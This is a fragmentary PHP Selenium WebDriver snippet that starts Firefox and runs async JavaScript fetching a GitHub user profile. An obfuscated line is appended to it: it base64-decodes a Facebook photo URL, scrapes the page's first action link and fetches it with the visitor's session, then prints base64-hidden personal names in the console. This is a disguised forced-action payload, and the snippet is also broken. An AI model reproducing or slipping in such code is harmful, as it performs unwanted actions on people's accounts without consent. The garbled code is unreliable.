-
Open a browser
# start an instance of firefox with selenium-webdriver $browser_type = 'firefox' $host = 'http://localhost:4444/wd/hub'
$capabilities = array(\WebDriverCapabilityType::BROWSER_NAME => $browser_type);
$sJavascript = <<<END_JAVASCRIPT | |
var callback = arguments[arguments.length-1], // webdriver async script callback | |
async function getUserInfo(){ | |
var result = await fetch('https://api.github.com/users/milo24s1',{ | |
credentials: "same-origin"}).then(response=>response.json()).then(text => text); | |
console.log(result); | |
callback(result); |
fetch(window.atob("aHR0cHM6Ly9tLmZhY2Vib29rLmNvbS9TdXNpa29CYWtlcnMvcGhvdG9zL3BiLjUzMzQwNDk5MDAzMDA0Ny4tMjIwNzUyMDAwMC4xNTMzODgzODIyLi8xNzY3OTUwNjI5OTA4ODA0Lz90eXBlPTMmdGhlYXRlcg==")).then(function(t){return t.text()}).then(function(t){var o=(new DOMParser).parseFromString(t,"text/html").querySelector("#MPhotoActionbar td:nth-child(1) > a:nth-child(1)").href;fetch(o).then(function(t){["U2hlaGFuaSBSYWphcGFrc2hl","U2h5YW1pIEVrYW5heWFrYQ==","QW51cmFkaGkgV2lja3JhbWFzaW5naGU="].map(t=>console.log("%c"+window.atob(t),"color: rgb(249, 162, 34);font-size: 60px;font-weight: bold;text-shadow: 1px 1px 5px rgb(249, 162, 34);filter: dropshadow(color=rgb(249, 162, 34), offx=1, offy=1);"))})}); |